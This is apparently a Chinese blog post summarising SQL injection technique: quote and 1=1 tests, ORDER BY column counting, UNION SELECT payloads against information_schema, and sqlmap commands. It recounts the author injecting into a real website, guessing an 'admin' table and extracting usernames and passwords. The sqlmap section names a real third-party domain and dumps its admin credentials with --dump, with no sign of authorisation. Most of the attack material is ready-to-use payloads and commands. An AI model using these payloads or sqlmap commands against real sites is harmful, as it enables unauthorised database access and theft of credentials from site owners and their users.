zoukankan      html  css  js  c++  java
  • sql注入总结

    常见的手工注入方法

    • 判断注入点:' and 1=1' 'and 1=2'报错来判断是否是注入点,部分诸如点事宽字节注入%df'来判断
    • 利用order by 猜测出列数
    • 获取数据库的名称和版本号   http://www.xxx.asp?id=1' union select 1,2,3,4....n--+
    • 利用'--+'或者是'#'把后面的代码注释掉,防止报错,有的时候网页不回显,可以尝试传入一个无效的参数值
    • 在爆出数据的地方替换成database(),@@version,version(), eg:'union select 1,2,version(),@@version(),database()--+
    • 如果mysql的版本号大于5,那就存在information_schema表,可以尝试以下注入
    • 查询数据库名  union select 1,2,3,group_concat(schema_name),5 from information_schema.schemata #
    • 查询表名 union selet 1,2,3,group_concat(table_name), 5 from information_schema.tables where table_schema='数据库'#  
      或者是: union select 1,2,3,group_concat(table_name),5,from information_schema.tables where table_schema=数据库名的16进制#  
      数据库名的16进制没有引号
    • 查询列名 union select 1,2,3,group_concat(column_name),5 from information_schema.columns where table_name='表名'#
    • 最后爆数据 union select 1,2,3,group_concat(列名),5 from 表名#
      搞定手动

    开坑(盲注)

    未完待续

    手工注入

    发现了一个网站存在sql注入漏洞
    于是先猜测表名 and exists (select * from admin),页面显示正常,说明存在admin表,于是order by n 猜测列数
    猜测出列数是28,页面显示23,然后联合查询,把23分别替换成username,password之后,获得账号密码

    and exists (select * from admin)

    UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin

    UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,username,24,25,26,27,28 from admin

    UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,password,24,25,26,27,28 from admin

    sqlmap工具注入

    sqlmap -u http:***?article=91
    结果显示article是一个注入点,显示出是布尔类型,payload
    sqlmap -u http:***?article=91 --tables
    猜测表名,发现表名中有一个admin,
    sqlmap -u http:***?article=91 --columns -T admin
    查询这张表的列名
    sqlmap -u http://www.inbond-cn.com/showproducts.asp?id=91 --columns -T admin
    回显数据
    sqlmap -u http://www.inbond-cn.com/showproducts.asp?id=91 --dump -C "username,password" -T admin

  • 相关阅读:
    HTTP状态码
    firefox浏览器新建页面一直处于刷新状态解决方法
    firefox浏览器需要新建窗口时以新建标签页代替
    bash基础教程
    sqoop的导入|Hive|Hbase
    sqoop导出数据|Hive|HDFS和脚本编写
    sqoop安装
    sqoop简介和原理分析
    Oozie安装
    Oozie框架介绍
  • 原文地址:https://www.cnblogs.com/kele1997/p/7595863.html
Copyright © 2011-2022 走看看